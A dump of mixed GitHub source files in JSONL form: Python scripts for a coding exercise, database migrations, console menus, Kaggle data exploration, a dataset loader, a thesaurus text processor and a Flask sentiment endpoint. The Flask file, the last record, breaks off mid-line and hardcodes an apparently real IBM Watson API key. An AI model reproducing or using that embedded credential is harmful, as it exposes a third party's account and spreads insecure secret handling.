+{"seq_id":"18147059939","text":"wor = input().upper()\ncou = 0\n\nimport re\nwhile True :\n tes = input().split()\n if tes[0] == 'END_OF_TEXT': break\n tes = [temp.upper() for temp in tes]\n cou += tes.count(wor)\n\nprint(cou)","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p02419/s642538791.py","file_name":"s642538791.py","file_ext":"py","file_size_in_byte":196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"75053675816","text":"\"\"\"empty message\n\nRevision ID: a600790df447\nRevises: 85bd7c34fbf3\nCreate Date: 2023-07-30 16:58:14.377621\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a600790df447'\ndown_revision = '85bd7c34fbf3'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_unique_constraint(op.f('uq_category_id'), 'category', ['id'])\n op.add_column('menu', sa.Column('created_at', sa.DateTime(), nullable=True))\n op.add_column('menu', sa.Column('updated_at', sa.DateTime(), nullable=True))\n op.create_index(op.f('ix_menu_created_at'), 'menu', ['created_at'], unique=False)\n op.create_index(op.f('ix_menu_updated_at'), 'menu', ['updated_at'], unique=False)\n op.create_unique_constraint(op.f('uq_menu_id'), 'menu', ['id'])\n op.create_unique_constraint(op.f('uq_order_id'), 'order', ['id'])\n op.create_unique_constraint(op.f('uq_payment_id'), 'payment', ['id'])\n op.create_unique_constraint(op.f('uq_product_id'), 'product', ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(op.f('uq_product_id'), 'product', type_='unique')\n op.drop_constraint(op.f('uq_payment_id'), 'payment', type_='unique')\n op.drop_constraint(op.f('uq_order_id'), 'order', type_='unique')\n op.drop_constraint(op.f('uq_menu_id'), 'menu', type_='unique')\n op.drop_index(op.f('ix_menu_updated_at'), table_name='menu')\n op.drop_index(op.f('ix_menu_created_at'), table_name='menu')\n op.drop_column('menu', 'updated_at')\n op.drop_column('menu', 'created_at')\n op.drop_constraint(op.f('uq_category_id'), 'category', type_='unique')\n # ### end Alembic commands ###\n","repo_name":"lucaspacifico/mashgin","sub_path":"api/migrations/versions/2023_07_30_1658-a600790df447_.py","file_name":"2023_07_30_1658-a600790df447_.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"37767930543","text":"# Import the necessary packages\nimport consolemenu\nimport consolemenu.items as cm_items\n\n# Create the menu\nmenu = consolemenu.ConsoleMenu(\"Title\", \"Subtitle\")\n\n# Create some cm_items\n\n# MenuItem is the base class for all cm_items, it doesn't do anything when selected\nmenu_item = cm_items.MenuItem(\"Menu Item\")\nfunction_item = cm_items.FunctionItem(\"Call a Python function\", input, [\"Enter an input \"])\ncommand_item = cm_items.CommandItem(\"Run a console command\", \"touch hello.txt\")\n\n# A SelectionMenu constructs a menu from a list of strings\nselection_menu = consolemenu.SelectionMenu([\"item1\", \"item2\", \"item3\"], 'title', 'subtitle', \n False, prologue_text='asdf', epilogue_text='ariuh')\n\n# A SubmenuItem lets you add a menu (the selection_menu above, for example)\n# as a submenu of another menu\n\n\n\nsub_menu = consolemenu.ConsoleMenu(\"submenu\", \"Subtitle\")\n\n\nsub_add_item = cm_items.FunctionItem(\"add item\", lambda: sub_menu.append_item(menu_item))\nsub_rem_item = cm_items.FunctionItem(\"remove item\", lambda: sub_menu.remove_item(menu_item))\n\nsub_menu.append_item(sub_add_item)\nsub_menu.append_item(sub_rem_item)\n\n\nsubmenu_item = cm_items.SubmenuItem(\"Submenu item\", sub_menu, menu)\n\n# Once we're done creating them, we just add the cm_items to the menu\nmenu.append_item(menu_item)\nmenu.append_item(function_item)\nmenu.append_item(command_item)\nmenu.append_item(submenu_item)\n\n# Finally, we call show to show the menu and allow the user to interact\n\nmenu.show()","repo_name":"huy-hng/Sandbox","sub_path":"python/templates/console_menu.py","file_name":"console_menu.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"}
+{"seq_id":"75198405382","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load in \n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n\n\n# Input data files are available in the \"../input/\" directory.\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\n\n\nimport os\n\nprint(os.listdir(\"../input\"))\n\n\n\nimport numpy as np\n\nimport pandas as pd\n\nimport os\n\nimport copy\n\nimport sys\n\nfrom PIL import Image\n\nimport time \n\nfrom tqdm.autonotebook import tqdm\n\nimport random\n\nimport gc\n\nimport cv2\n\nimport scipy\n\nimport math\n\nimport matplotlib.pyplot as plt\n\n\n\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.model_selection import KFold,StratifiedKFold\n\nfrom sklearn.metrics import fbeta_score\n\n\n\nimport torch\n\nfrom torch.utils.data import TensorDataset, DataLoader,Dataset\n\nimport torch.nn as nn\n\nimport torch.nn.functional as F\n\nimport torchvision\n\nimport torchvision.transforms as transforms\n\nimport torch.optim as optim\n\nfrom torch.optim import lr_scheduler\n\nfrom torch.optim.optimizer import Optimizer\n\nimport torch.backends.cudnn as cudnn\n\nfrom torch.autograd import Variable\n\nfrom torch.utils.data.sampler import SubsetRandomSampler\n\nfrom torch.optim.lr_scheduler import StepLR, ReduceLROnPlateau, CosineAnnealingLR, _LRScheduler\n\n\n\n# Any results you write to the current directory are saved as output.\nimport scipy.special\n\n\n\nSEED = 42\n\nbase_dir = '../input/'\n\ndef seed_everything(seed=SEED):\n\n random.seed(seed)\n\n os.environ['PYHTONHASHSEED'] = str(seed)\n\n np.random.seed(seed)\n\n torch.manual_seed(seed)\n\n torch.cuda.manual_seed(seed)\n\n torch.backends.cudnn.deterministic = True\n\nseed_everything(SEED)\ntrain_df = pd.read_csv('../input/train.csv')\n\nlabels_df = pd.read_csv('../input/labels.csv')\n\ntest_df = pd.read_csv('../input/sample_submission.csv')\n\n\n\ntr, val = train_test_split(train_df['id'], test_size=0.15, random_state=SEED)\n\n\n\nimg_class_dict = {k:v for k, v in zip(train_df.id, train_df.attribute_ids)}\n\n\n\ndef get_label(attribute_ids):\n\n attribute_ids = attribute_ids.split()\n\n one_hot = np.zeros(1103, dtype=np.int)\n\n for _,ids in enumerate(attribute_ids):\n\n one_hot[int(ids)] = 1\n\n return one_hot\nprint(train_df.columns)\n\nprint(labels_df.columns)\nclasses =train_df['attribute_ids'].value_counts().to_frame().reset_index()\n\nclasses.rename(columns={'index': 'classes', 'attribute_ids':'counts'}, inplace=True)\nprint(classes)\n#classes['classes'] = classes['classes'].apply(get_label)\nclasses['ratio'] = classes['counts']/train_df.shape[0]\nclasses.head(10)\ndef get_label_name(attribute_ids):\n\n attribute_ids = attribute_ids.split()\n\n attribute_name = []\n\n for _,ids in enumerate(attribute_ids):\n\n attribute_name.append(labels_df.loc[labels_df['attribute_id']==int(ids)])\n\n return attribute_name\n#train_df['attribute_name'] = train_df['attribute_ids'].apply(get_label_name)\n\n#too slow\ntrain_df['count'] = train_df.groupby(['attribute_ids'])['id'].transform('count')\ntrain_df = train_df.sort_values(by='attribute_ids')\n#train_df['attribute_ids'] = train_df['attribute_ids'].apply(get_label)\ntrain_df.head(30)\ngrouped_id = train_df.groupby('attribute_ids')['id']\ncollect_image_names = {}\n\n\n\nfor key in classes['classes']:\n\n name = grouped_id.get_group(key).values[0]\n\n count = grouped_id.get_group(key).values.shape[0]\n\n collect_image_names[name] = count\nimport operator\n\nsorted_collect_image_names = sorted(collect_image_names.items(), key=operator.itemgetter(1))\n\nsorted_collect_image_names.reverse()\n\nprint(len(sorted_collect_image_names))\nprint(sorted_collect_image_names[:10])\nimage_name = sorted_collect_image_names[0][0]\n\nattribute_ids = train_df.loc[train_df['id']==image_name]['attribute_ids'].values[0]\n\nprint(attribute_ids.split())\nc = 1\n\nplt.figure(figsize=[20, 20])\n\nfor idx in range(10):\n\n image_name = sorted_collect_image_names[idx][0]\n\n img = cv2.imread(\"../input/train/{}.png\".format(image_name))[...,[2,1,0]]\n\n plt.subplot(5,2,c)\n\n plt.imshow(img)\n\n \n\n attribute_ids = train_df.loc[train_df['id']==image_name]['attribute_ids'].values[0].split()\n\n attribute_name = []\n\n for _,ids in enumerate(attribute_ids):\n\n attribute_name.append(labels_df.loc[labels_df['attribute_id']==int(ids)]['attribute_name'].values[0])\n\n plt.title(\"train image {} count {}\".format(attribute_name, sorted_collect_image_names[idx][1]))\n\n c += 1\n\nplt.show()\nc = 1\n\nplt.figure(figsize=[20,20])\n\n\n\nsize = len(sorted_collect_image_names)\n\n\n\nfor idx in range(size-10, size):\n\n image_name = sorted_collect_image_names[idx][0]\n\n img = cv2.imread(\"../input/train/{}.png\".format(image_name))[...,[2,1,0]]\n\n plt.subplot(5,2,c)\n\n plt.imshow(img)\n\n \n\n attribute_ids = train_df.loc[train_df['id']==image_name]['attribute_ids'].values[0].split()\n\n attribute_name = []\n\n for _,ids in enumerate(attribute_ids):\n\n attribute_name.append(labels_df.loc[labels_df['attribute_id']==int(ids)]['attribute_name'].values[0])\n\n plt.title(\"train image {} count {}\".format(attribute_name, sorted_collect_image_names[idx][1]))\n\n c += 1\n\nplt.show()\nname = grouped_id.get_group(classes['classes'][0]).values[0]\n\ncount = grouped_id.get_group(classes['classes'][0]).values.shape[0]\nc = 1\n\nplt.figure(figsize=[20,20])\n\n\n\nmost_frequent_class_top_10 = {}\n\n\n\nfor i in range(10):\n\n name = grouped_id.get_group(classes['classes'][0]).values[i]\n\n count = grouped_id.get_group(classes['classes'][0]).values.shape[0]\n\n most_frequent_class_top_10[name] = count\n\n\n\nsize = len(most_frequent_class_top_10)\n\n\n\nfor element in most_frequent_class_top_10:\n\n image_name = element\n\n img = cv2.imread(\"../input/train/{}.png\".format(image_name))[...,[2,1,0]]\n\n plt.subplot(5,2,c)\n\n plt.imshow(img)\n\n \n\n attribute_ids = train_df.loc[train_df['id']==image_name]['attribute_ids'].values[0].split()\n\n attribute_name = []\n\n for _,ids in enumerate(attribute_ids):\n\n attribute_name.append(labels_df.loc[labels_df['attribute_id']==int(ids)]['attribute_name'].values[0])\n\n plt.title(\"train image {} count {}\".format(attribute_name, most_frequent_class_top_10[element]))\n\n c += 1\n\nplt.show()\ncategory_count = {}\n\n\n\nfor i in range(1103):\n\n category_count[i] = 0\nfor key in classes['classes']:\n\n category_name = key.split()\n\n count = grouped_id.get_group(key).values.shape[0]\n\n for element in category_name:\n\n category_count[int(element)] += count\nsorted_category_count = sorted(category_count.items(), key=operator.itemgetter(1))\n\nsorted_category_count.reverse()\nsorted_category_count_frame = pd.DataFrame.from_dict(sorted_category_count)\n\nsorted_category_count_frame.columns=['attribute_id', 'count']\n\nsorted_category_count_frame['ratio'] = sorted_category_count_frame['count']/train_df.shape[0]\nsorted_category_count_frame.head(30)\ncategory_name_count = {}\n\n\n\nfor element in sorted_category_count:\n\n key = element[0]\n\n name = labels_df[labels_df['attribute_id']==key]['attribute_name'].values[0]\n\n category_name_count[name] = element[1]\nsorted_category_name_count = sorted(category_name_count.items(), key=operator.itemgetter(1))\n\nsorted_category_name_count.reverse()\nsorted_sorted_category_name_count_frame = pd.DataFrame.from_dict(sorted_category_name_count)\n\nsorted_sorted_category_name_count_frame.columns=['attribute_name', 'count']\n\nsorted_sorted_category_name_count_frame['ratio'] = sorted_sorted_category_name_count_frame['count']/train_df.shape[0]\nsorted_sorted_category_name_count_frame.head(30)\nsorted_category_count_frame.to_csv('sorted_category_count_frame.csv', index=False)","repo_name":"aorursy/new-nb-4","sub_path":"jionie_eda-classes-most-frequent-and-least-frequent.py","file_name":"jionie_eda-classes-most-frequent-and-least-frequent.py","file_ext":"py","file_size_in_byte":7824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"18934772180","text":"import multiprocessing\n\n#server process\n\ndef print_records(records):\n \"\"\"\n function to print record(tuples) in records(list)\n \"\"\"\n for record in records:\n print(\"Name: {0}\\nScore: {1}\\n\".format(record[0], record[1]))\n\n\ndef insert_record(record, records):\n \"\"\"\n function to add a new record to records(list)\n \"\"\"\n records.append(record)\n print(\"New record added!\\n\")\n\nif __name__ == '__main__':\n with multiprocessing.Manager() as manager:\n # create new list in server process memory\n records = manager.list([('sam',10),('cuong','14')])\n new_record = ('test',2)\n\n #create process\n p1 = multiprocessing.Process(target=insert_record,args=(new_record,records))\n p2 = multiprocessing.Process(target=print_records,args=(records,))\n\n p1.start()\n p2.start()\n\n p1.join()\n p2.join()\n","repo_name":"cuongpianna/python","sub_path":"python/app4.py","file_name":"app4.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"43554349054","text":"\"\"\"This component loads a seed dataset from the hub.\"\"\"\nimport logging\nimport typing as t\n\nimport dask\nimport dask.dataframe as dd\nimport pandas as pd\nfrom fondant.component import DaskLoadComponent\nfrom fondant.core.schema import Field\n\nlogger = logging.getLogger(__name__)\n\ndask.config.set({\"dataframe.convert-string\": False})\n\n\nclass LoadFromHubComponent(DaskLoadComponent):\n def __init__(\n self,\n *,\n produces: t.Dict[str, Field],\n dataset_name: str,\n column_name_mapping: t.Optional[dict],\n image_column_names: t.Optional[list],\n n_rows_to_load: t.Optional[int],\n index_column: t.Optional[str],\n **kwargs,\n ) -> None:\n \"\"\"\n Args:\n produces: The schema the component should produce\n dataset_name: name of the dataset to load.\n column_name_mapping: Mapping of the consumed hub dataset to fondant column names\n image_column_names: A list containing the original hub image column names. Used to\n format the image from HF hub format to a byte string\n n_rows_to_load: optional argument that defines the number of rows to load. Useful for\n testing pipeline runs on a small scale.\n index_column: Column to set index to in the load component, if not specified a default\n globally unique index will be set.\n kwargs: Unhandled keyword arguments passed in by Fondant.\n \"\"\"\n self.dataset_name = dataset_name\n self.column_name_mapping = column_name_mapping\n self.image_column_names = image_column_names\n self.n_rows_to_load = n_rows_to_load\n self.index_column = index_column\n self.produces = produces\n\n def get_columns_to_keep(self) -> t.List[str]:\n # Only read required columns\n columns = []\n\n if self.column_name_mapping:\n invert_column_name_mapping = {\n v: k for k, v in self.column_name_mapping.items()\n }\n else:\n invert_column_name_mapping = {}\n\n for field_name, field in self.produces.items():\n column_name = field_name\n if invert_column_name_mapping and column_name in invert_column_name_mapping:\n columns.append(invert_column_name_mapping[column_name])\n else:\n columns.append(column_name)\n\n if self.index_column is not None:\n columns.append(self.index_column)\n\n return columns\n\n def convert_images_to_bytes(self, dask_df) -> dd.DataFrame:\n if self.image_column_names:\n for image_column_name in self.image_column_names:\n dask_df[image_column_name] = dask_df[image_column_name].map(\n lambda x: x[\"bytes\"],\n meta=(\"bytes\", bytes),\n )\n\n return dask_df\n\n def set_df_index(self, dask_df: dd.DataFrame) -> dd.DataFrame:\n if self.index_column is None:\n logger.info(\n \"Index column not specified, setting a globally unique index\",\n )\n\n def _set_unique_index(dataframe: pd.DataFrame, partition_info=None):\n \"\"\"Function that sets a unique index based on the partition and row number.\"\"\"\n dataframe[\"id\"] = 1\n dataframe[\"id\"] = (\n str(partition_info[\"number\"])\n + \"_\"\n + (dataframe.id.cumsum()).astype(str)\n )\n dataframe.index = dataframe.pop(\"id\")\n return dataframe\n\n def _get_meta_df() -> pd.DataFrame:\n meta_dict = {\"id\": pd.Series(dtype=\"object\")}\n for field_name, field in self.produces.items():\n meta_dict[field_name] = pd.Series(\n dtype=pd.ArrowDtype(field.type.value),\n )\n return pd.DataFrame(meta_dict).set_index(\"id\")\n\n meta = _get_meta_df()\n dask_df = dask_df.map_partitions(_set_unique_index, meta=meta)\n else:\n logger.info(f\"Setting `{self.index_column}` as index\")\n dask_df = dask_df.set_index(self.index_column, drop=True)\n\n return dask_df\n\n def return_subset_of_df(self, dask_df: dd.DataFrame) -> dd.DataFrame:\n if self.n_rows_to_load is not None:\n partitions_length = 0\n npartitions = 1\n for npartitions, partition in enumerate(dask_df.partitions, start=1):\n if partitions_length >= self.n_rows_to_load:\n logger.info(\n f\"\"\"Required number of partitions to load\\n\n {self.n_rows_to_load} is {npartitions}\"\"\",\n )\n break\n partitions_length += len(partition)\n dask_df = dask_df.head(self.n_rows_to_load, npartitions=npartitions)\n dask_df = dd.from_pandas(dask_df, npartitions=npartitions)\n return dask_df\n\n def load(self) -> dd.DataFrame:\n # 1) Load data, read as Dask dataframe\n logger.info(\"Loading dataset from the hub...\")\n\n columns = self.get_columns_to_keep()\n\n logger.debug(f\"Columns to keep: {columns}\")\n dask_df = dd.read_parquet(f\"hf://datasets/{self.dataset_name}\", columns=columns)\n\n # 2) Make sure images are bytes instead of dicts\n dask_df = self.convert_images_to_bytes(dask_df)\n\n # 3) Rename columns\n logger.info(\"Renaming columns...\")\n dask_df = dask_df.rename(columns=self.column_name_mapping)\n\n # 4) Optional: only return specific amount of rows\n dask_df = self.return_subset_of_df(dask_df)\n\n # 5) Set the index\n dask_df = self.set_df_index(dask_df)\n\n return dask_df\n","repo_name":"ml6team/fondant","sub_path":"components/load_from_hf_hub/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5796,"program_lang":"python","lang":"en","doc_type":"code","stars":252,"dataset":"github-code","pt":"8"}
+{"seq_id":"74197550981","text":"'''\r\nName: Lim Hur\r\nClass: DAAA/FT/2B/02\r\nAdmin: 2112589\r\n'''\r\n\r\n# Imports\r\nfrom utils import Utils\r\nfrom tools.thesaurus import Thesaurus\r\nfrom random import shuffle, choice\r\nfrom tools.summary import TextSummarization\r\nfrom tools.text_process import TextProcessor\r\n\r\nclass Program:\r\n def __init__(self, config):\r\n # Load config regarding assignment details\r\n # thesaurus is None when program starts\r\n self.__name, self.__admin, self.__class = config['author']['name'], config['author']['adminNo'], config['author']['class']\r\n self.__module = config['application_welcome']\r\n self.__module_code = config['module_code']\r\n self.__thesaurus = None\r\n\r\n # Run the main loop/menu of the program. Allows users to move between the options.\r\n def run(self):\r\n self.__print_start()\r\n while True:\r\n Utils.press_anywhere()\r\n starting_choices = ['New', 'Open', 'Sort', 'Process Text', 'Text Summarization', 'Text Searching','Print', 'Save', 'Save as', 'Exit']\r\n user_choice = Utils.get_number_choice(arr_choices=starting_choices)\r\n if user_choice == 1:\r\n self.__choice1()\r\n elif user_choice == 2:\r\n self.__choice2()\r\n elif user_choice == 3:\r\n self.__choice3()\r\n elif user_choice == 4:\r\n self.__choice4()\r\n elif user_choice ==5:\r\n self.__choice5()\r\n elif user_choice == 6:\r\n self.__choice6()\r\n elif user_choice == 7:\r\n self.__choice7()\r\n elif user_choice == 8:\r\n self.__choice8()\r\n elif user_choice == 9:\r\n self.__choice9()\r\n elif user_choice == 10:\r\n self.__choice10()\r\n return\r\n # Print initial banner and assignment details\r\n def __print_start(self):\r\n print('*' * 57)\r\n print(f'''* {self.__module}\\t*''')\r\n print('*' + '-' * 55 + '*')\r\n\r\n print('*',' '*53 ,'*')\r\n print(\"\"\"* -\"\"\", 'Done by:', f'{self.__name}({self.__admin})', ' '*24, '*')\r\n print(\"\"\"* -\"\"\", 'Class:', f'{self.__class}', ' '*32, '*')\r\n print('*' * 57)\r\n \r\n # Option 1: Allows user to set up NEW thesaurus \r\n def __choice1(self):\r\n print('\\nWe will be starting a new Thesaurus.\\nYou may now enter a series of keywords and their synonyms.\\n')\r\n self.__thesaurus = Thesaurus.new_thesaurus()\r\n # Check if thesaurus exists, else return to option menu\r\n if not self.__thesaurus:\r\n return \r\n print()\r\n print('Your new thesaurus is ready and printed here....')\r\n print(self.__thesaurus)\r\n \r\n # Option 2: Allow user to set up new thesaurus from .txt file\r\n def __choice2(self):\r\n thesaurus_file = Thesaurus.read_thesaurus_file()\r\n # Check if thesaurus file exists\r\n if thesaurus_file:\r\n self.__thesaurus = thesaurus_file\r\n print(self.__thesaurus)\r\n print()\r\n \r\n # Option 3: Different sorting conditions\r\n def __choice3(self):\r\n # Check if thesaurus exists\r\n if not self.__thesaurus:\r\n print('You dont have any thesaurus')\r\n return\r\n sort_ls = ['Alphabetically (Default)', 'Length/Alphabetically', 'Length/Random Alphabetically', 'Randomly', 'Back to main menu']\r\n sort_choice = Utils.get_number_choice(sort_ls)\r\n if sort_choice == 1:\r\n self.__thesaurus = self.__thesaurus.custom_sort()\r\n # Default sorting (Alphabetically)\r\n elif sort_choice == 2:\r\n self.__thesaurus = self.__thesaurus.custom_sort( [len, 'alphabet'] )\r\n # Sorting by length/alphabetically\r\n elif sort_choice == 3:\r\n self.__thesaurus = self.__thesaurus.custom_sort( choice )\r\n # Sort by length/random alphabetically\r\n elif sort_choice == 4:\r\n self.__thesaurus = self.__thesaurus.custom_sort( shuffle )\r\n # Sort randodmly\r\n else:\r\n return\r\n print('Sorting Synonyms: {}'.format(sort_ls[sort_choice-1]))\r\n print(self.__thesaurus)\r\n # Choice 4: Text processing, for simplified and elegant writing\r\n def __choice4(self):\r\n if not self.__thesaurus:\r\n print('You dont have any thesaurus')\r\n return \r\n data ,input_file = Utils.get_file_data(msg='Select the file you want to process')\r\n if input_file == '':\r\n return\r\n \r\n print('The text before processing:')\r\n print(data, '\\n')\r\n\r\n Utils.press_anywhere()\r\n print('Next choose a text processing option.\\n')\r\n writing_choice = Utils.get_number_choice(['Simplified Writing', 'Elegant writing', 'Back to Main Menu'])\r\n if writing_choice in {1,2}:\r\n thesaurus_variant = self.__thesaurus if writing_choice == 2 else {item: key for key ,ls in self.__thesaurus.items() for item in ls}\r\n self.__processor = TextProcessor(thesaurus= thesaurus_variant, word_ls= thesaurus_variant.keys() )\r\n print('Processing Text for: {}\\n'.format('Elegant writing' if writing_choice==2 else 'Simplified Writing'))\r\n try:\r\n final_text = self.__processor.replace(text=data)\r\n except:\r\n return\r\n else:\r\n return\r\n print('The text after processing:\\n{}\\n'.format(final_text))\r\n Utils.press_anywhere()\r\n\r\n save_to_file = ''\r\n while save_to_file not in ['y', 'n']:\r\n save_to_file = input('Do you want to save the text into a file? y/n: ').strip()\r\n if save_to_file == 'y':\r\n _ = Utils.save_as_file(final_text, medium = 'The text has been saved in \"{}\"')\r\n\r\n # Choice5 : Advance feature: Text Summarization\r\n def __choice5(self):\r\n data ,input_file = Utils.get_file_data(msg='Select the file you wish to summarize')\r\n if input_file == '':\r\n return\r\n print('Your file {} you wish to summarize is printed here:'.format(input_file))\r\n print(data)\r\n Utils.press_anywhere()\r\n \r\n summary = TextSummarization(data, top_n=5)\r\n summary.get_freq_list()\r\n print('Your file after summarization:\\n')\r\n print(summary.get_main_message())\r\n \r\n\r\n # Choice 6: Text Searching\r\n def __choice6(self):\r\n print('We will be performing text searching')\r\n data ,input_file = Utils.get_file_data(msg='Select the file you wish to perform text searching on')\r\n if input_file == '':\r\n return\r\n word_ls = Utils.get_word_ls()\r\n if len(word_ls) <1:\r\n return\r\n searcher = TextProcessor(thesaurus=None, word_ls= word_ls)\r\n final_text = searcher.search(text=data)\r\n if final_text is None:\r\n final_text = 'No search matches'\r\n print('\\nPrinting out search summary now (**Printing out sentences that contains searched (words searched printed in [ ])**):\\n')\r\n print(final_text)\r\n\r\n # Choice 7: printing of thesaurus (self.__thesaurus.tracker is used to track if user opened thesaurus from file or set up from user validation)\r\n def __choice7(self):\r\n if not self.__thesaurus:\r\n print('You dont have any thesaurus')\r\n return \r\n print('The thesaurus {} is printed here....'.format('that you created' if self.__thesaurus.tracker == 1 else self.__thesaurus.tracker))\r\n print(self.__thesaurus)\r\n\r\n # Option 8: Save option for existing thesaurus that has file\r\n def __choice8(self):\r\n try:\r\n if self.__thesaurus.tracker ==1:\r\n print('The thesaurus doesnt have an existing file. Please save as instead')\r\n return\r\n except:\r\n print('Please make sure thesaurus is available')\r\n return\r\n # Set mode to 'w' to overwrite the file.\r\n _ = Utils.save_as_file(self.__thesaurus, mode='w', saved_existing_file=self.__thesaurus.tracker) \r\n\r\n \r\n # Option 9: Allow user to save into new text file\r\n def __choice9(self):\r\n if not self.__thesaurus:\r\n print('You dont have any thesaurus! Please choose New or Open to load a thesaurus')\r\n return \r\n print('Save As')\r\n saved_file = Utils.save_as_file(self.__thesaurus) # Save thesaurus into text file.\r\n # Sets the tracker to the newly saved as file\r\n if saved_file is not None:\r\n self.__thesaurus.tracker = saved_file \r\n\r\n # Friendly goodbye message for user\r\n def __choice10(self):\r\n print()\r\n print(f'Bye, thanks for using {self.__module_code} DSAA: Thesaurus Based Text Processor')","repo_name":"lhurr/Thesaurus-Based-Text-Processing-Application","sub_path":"program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":8803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"26942797357","text":"\"\"\"\nUtility functions for computing with modular forms for Weil representations.\n\"\"\"\nfrom fqm_weil.modules.finite_quadratic_module.finite_quadratic_module_base import \\\n FiniteQuadraticModule_base\nfrom fqm_weil.modules.weil_module.weil_module import WeilModule\nimport logging\nfrom logging import getLogger\n\nfrom sage.all import ZZ, QQ\nfrom sage.arith.misc import gcd, xgcd\nfrom sage.matrix.constructor import matrix\nfrom sage.rings.integer import Integer\nfrom sage.rings.number_field.number_field import CyclotomicField\nfrom sage.rings.rational import Rational\n\nlog = getLogger(__name__)\n\n\ndef cusp_normalisers_and_stabilisers(group) -> dict:\n cusp_normalisers = {}\n cusp_stabilisers = {}\n cusps = group.cusps()\n cusps.sort(reverse=True)\n for cusp in cusps:\n a = cusp.numerator()\n c = cusp.denominator()\n w = group.level() / gcd(group.level(), c**2)\n Tp = matrix(ZZ, [[1-c*a*w, a**2*w], [-c**2*w, 1+a*c*w]])\n g, s, t = xgcd(a, c)\n Ai = matrix([[a, -t], [c, s]])\n cusp_normalisers[cusp] = Ai\n cusp_stabilisers[cusp] = Tp\n return {\n 'cusp_normalisers': cusp_normalisers,\n 'cusp_stabilisers': cusp_stabilisers\n }\n\n\ndef exp_as_zN_power(N, arg):\n \"\"\"\n Return e(arg) as a power of a primitive N-th root of unit z_N if possible.\n\n INPUT:\n\n - ``N`` -- positive integer\n - ``arg`` -- rational number\n \"\"\"\n if not isinstance(N, (int, Integer)):\n raise ValueError(\"N must be an integer\")\n if not isinstance(arg, Rational):\n raise ValueError(\"arg must be a rational number\")\n\n zN = CyclotomicField(N).gen()\n m = arg.numerator()\n n = arg.denominator()\n # We must have n | N\n if N % n != 0:\n raise ArithmeticError(f\"Denominator `{n}` should divide the level `{N}`\")\n return zN ** (m * N // n)","repo_name":"fredstro/fqm-weil","sub_path":"src/fqm_weil/modular/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"10208164787","text":"from flask import Flask\r\nfrom ibm_watson import ToneAnalyzerV3\r\nfrom ibm_cloud_sdk_core.authenticators import IAMAuthenticator\r\nimport pandas as pd \r\nimport numpy as np\r\nimport json\r\ndf = pd.read_csv('7282_1.csv')\r\napikey='9d_xot7IbgklVQ3j6cEieTfozGgDh4ojZ9snN_MVuIQH'\r\nURL='https://gateway-lon.watsonplatform.net/tone-analyzer/api'\r\nversion='2019-10-23'\r\nauthenticator = IAMAuthenticator(apikey)\r\ntone_analyzer = ToneAnalyzerV3(\r\n version=version,\r\n authenticator=authenticator\r\n)\r\ntone_analyzer.set_service_url(URL)\r\n\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/hotels/')\r\ndef hello_world(hotel_name):\r\n #tones=[]\r\n hotel_analysis=[]\r\n tones_dict = {\r\n\t\t\"Anger\" : 0,\r\n\t\t\"Fear\" : 0,\r\n\t\t\"Joy\" : 0,\r\n\t\t\"Sadness\" : 0,\r\n\t\t\"Analytical\" : 0,\r\n\t\t\"Confident\" : 0\r\n\t}\r\n hotels = df['name'] == hotel_name\r\n \r\n hotel_df=df[hotels]\r\n text=hotel_df['reviews.text'].tolist()\r\n size = np.shape(text)[0]\r\n count_joy=0;count_fear=0;count_anger=0; count_sadness=0;count_analytical=0;count_confident=0\r\n for i in range(size):\r\n tone_analysis = tone_analyzer.tone(\r\n {'text': text[i]},\r\n content_type='text/plain',\r\n sentences=False\r\n ).get_result()\r\n if(tone_analysis['document_tone']['tones']):\r\n tones=tone_analysis['document_tone']['tones']\r\n hotel_analysis.append(tone_analysis['document_tone']['tones'])\r\n for j in range(np.shape(tones)[0]):\r\n if tones[j]['tone_id']=='anger':\r\n tones_dict['Anger']+=tones[j]['score']\r\n count_anger = count_anger+1\r\n elif tones[j]['tone_id']=='fear':\r\n tones_dict['Fear']+=tones[j]['score']\r\n count_fear = count_fear+1\r\n elif tones[j]['tone_id']=='joy':\r\n tones_dict['Joy']+=tones[j]['score']\r\n count_joy = count_joy+1\r\n elif tones[j]['tone_id']=='sadness':\r\n tones_dict['Sadness']+=tones[j]['score']\r\n count_sadness = count_sadness+1\r\n elif tones[j]['tone_id']=='analytical':\r\n tones_dict['Analytical']+=tones[j]['score']\r\n count_analytical = count_analytical+1\r\n elif tones[j]['tone_id']=='confident':\r\n tones_dict['Confident']+=tones[j]['score']\r\n count_confident = count_confident+1\r\n tones_dict['Anger'] = round(tones_dict['Anger']/count_anger,2) if count_anger !=0 else 0\r\n tones_dict['Fear'] = round(tones_dict['Fear']/count_fear,2) if count_fear !=0 else 0\r\n tones_dict['Joy'] = round(tones_dict['Joy']/count_joy,2) if count_joy 